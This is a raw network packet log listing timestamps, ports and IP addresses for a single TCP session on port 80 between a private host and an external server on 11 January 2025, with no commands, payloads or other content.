Jan 11, 2025 04:35:37.858232021 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.858232975 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.858272076 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.858303070 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.858321905 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.858355999 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.858374119 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.858407021 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.858439922 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.858449936 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.858901978 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.858948946 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.858948946 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.859004021 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.859060049 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.859061003 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.859107971 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.859153032 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.859160900 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.859198093 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.859230995 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.859242916 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.859266043 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.859302044 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.859333038 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.859354019 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.859411001 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.860739946 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.860769987 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.860811949 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.860812902 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.860863924 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.860898972 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.860910892 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.860933065 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.860977888 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.860985994 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.861021996 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.861056089 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.861066103 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.861090899 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.861143112 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.861470938 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.866786003 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.884440899 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.884490013 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.884537935 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.884546995 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.884599924 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.884634972 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.884649038 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.917901039 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.917933941 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.917956114 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.917987108 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.918023109 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.918040037 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.918126106 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.918160915 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.918170929 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.918195963 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.918229103 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.918241978 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.918282032 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.918292999 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.918323040 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.918327093 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.918364048 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.918375969 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.948136091 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.948168039 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.948195934 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.948204994 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.948257923 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.948259115 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.948292971 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.948338032 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.948375940 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.958955050 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.959008932 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.959022045 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.959045887 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.959080935 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.959095001 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.959116936 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.959151030 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.959161043 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.959187984 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.959233046 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.959387064 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.959422112 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.959456921 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.959475994 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.980530024 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.980562925 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.980583906 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.980600119 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.980633974 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.980676889 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.980712891 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.980758905 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.980766058 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.980819941 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.980870962 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.980875015 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.980926991 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.980976105 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.980998039 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981086969 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981142998 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981147051 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.981174946 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981209993 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981226921 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.981264114 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981297970 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981309891 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.981349945 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981385946 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981395006 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.981426954 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981443882 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981478930 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.981501102 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981548071 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.981554985 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981590986 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981637001 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.981641054 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981676102 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981709003 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981722116 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.981744051 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981790066 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.981794119 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981829882 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981863976 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981884956 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.981904030 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981951952 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.981954098 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.981990099 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982024908 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982036114 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.982094049 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982147932 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.982158899 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982193947 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982232094 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982254028 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.982268095 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982316017 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.982322931 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982359886 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982393980 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982408047 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.982441902 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982475996 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982482910 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.982527971 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982573032 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982578993 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.982580900 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982615948 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982628107 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.982650995 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982697010 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.982705116 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982741117 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982775927 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982786894 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.982825041 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982858896 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982870102 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.982893944 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982927084 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982939005 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.982960939 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.982997894 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983016968 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983033895 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983063936 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.983071089 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983118057 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.983124018 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983159065 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983205080 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.983232975 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983268023 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983303070 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983319044 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.983354092 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983392000 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983401060 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.983426094 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983460903 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983469009 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.983500957 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983534098 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983541965 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.983570099 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983603954 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983612061 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.983639002 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983673096 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983690023 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.983705997 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983738899 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983751059 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.983773947 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983813047 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983824968 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.983848095 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983881950 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983892918 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.983917952 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983952999 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.983964920 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.984003067 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.984050989 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.984050989 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.984087944 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.984122992 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.984137058 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.984158993 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:37.984203100 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:37.987272978 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.010283947 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.010430098 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.010483027 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.010484934 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.010519981 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.010555983 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.010566950 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.010591030 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.010624886 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.010636091 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.040489912 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.040520906 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.040539980 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.040572882 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.040620089 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.040606976 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.040709972 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.040743113 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.040756941 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.040777922 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.040811062 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.040833950 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.040863991 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.040910006 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.040915012 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.040950060 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.040982008 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.040994883 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.041018963 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.041068077 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.041069031 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.041105032 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.041136980 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.041157961 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.042954922 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.043005943 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.043008089 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.043044090 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.043078899 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.043092966 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.043145895 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.043179989 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.043191910 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.043216944 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.043266058 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.072971106 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073010921 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073061943 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.073062897 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073100090 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073137045 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.073201895 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073254108 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073297977 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.073304892 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073339939 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073383093 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.073391914 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073426008 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073468924 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.073477983 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073512077 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073559046 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.073565006 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073599100 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073642015 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.073649883 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073702097 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073736906 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073744059 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.073786974 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073823929 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073827982 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.073858023 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073894024 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073904991 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.073930025 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073965073 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.073967934 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.074002028 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074040890 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.074057102 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074090958 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074124098 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074139118 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.074160099 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074193954 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074199915 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.074290991 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074326992 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074337959 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.074361086 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074402094 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.074412107 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074466944 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074501991 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074512005 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.074536085 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074570894 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074578047 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.074610949 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074645996 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074656963 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.074697971 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074733019 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074743032 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.074769974 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074820995 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.074821949 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074857950 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074892998 CET	80	49723	193.143.1.205	192.168.2.11
Jan 11, 2025 04:35:38.074903965 CET	49723	80	192.168.2.11	193.143.1.205
Jan 11, 2025 04:35:38.074923038 CET	80	49723	193.143.1.205	192.168.2.11
